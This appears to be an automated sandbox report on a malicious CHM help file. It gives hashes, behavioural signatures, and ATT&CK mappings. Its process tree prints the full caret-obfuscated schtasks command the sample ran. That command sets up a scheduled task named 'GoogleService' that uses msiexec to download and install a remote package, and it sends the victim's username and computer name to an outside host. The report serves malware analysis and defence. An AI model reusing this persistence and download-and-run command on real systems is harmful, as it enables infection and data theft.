c3fc4d145ce3cee06782753be269cad6632751fb9b824e1917b0de6e597ee2ee

Analysis

max time kernel
118s
max time network
122s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
01/08/2023, 07:57

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General

Target

2023BN20230731.chm
Size

11KB
MD5

93371c46f557a5dea7ce67564efd1124
SHA1

630e28421159c8edeef9c157c442183f4ecee0d7
SHA256

c3fc4d145ce3cee06782753be269cad6632751fb9b824e1917b0de6e597ee2ee
SHA512

af6afc151643cff335198e5a0ed10bb382d83b8fee48606b7f8a6b8a3aacaa315cf0e2648cbb02d650f6cae263f8099857c92c62e687547a484503292dc4c57c
SSDEEP

96:lAutMDtV8mx3LlKwi/TdqTb1+5QvnkLd4:lKpaz6bzPMd

Score

1^/10

Malware Config

Signatures

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2060	schtasks.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1014134971-2480516131-292343513-1000\Software\Microsoft\Internet Explorer\Main	hh.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2604	hh.exe
2604	hh.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2604 wrote to memory of 2060	2604	hh.exe	28
PID 2604 wrote to memory of 2060	2604	hh.exe	28
PID 2604 wrote to memory of 2060	2604	hh.exe	28

C:\Windows\hh.exe
"C:\Windows\hh.exe" C:\Users\Admin\AppData\Local\Temp\2023BN20230731.chm
1⤵
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2604
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /sc minute /mo 15 /tn GoogleService /tr "%coMSPec% /c s^t^a^rt /^m^i^n m^s^i^e^xe^c ^/^i h^tt^p://^m^e^rc^iful^nea^ry^ou.co^m/F^M^CG/^oli.p^hp^?^z^h=%username%*%computername% /^q^n ^/^norestart" /f
  2⤵
  - Creates scheduled task(s)
  PID:2060

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Windows 7 deprecation

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads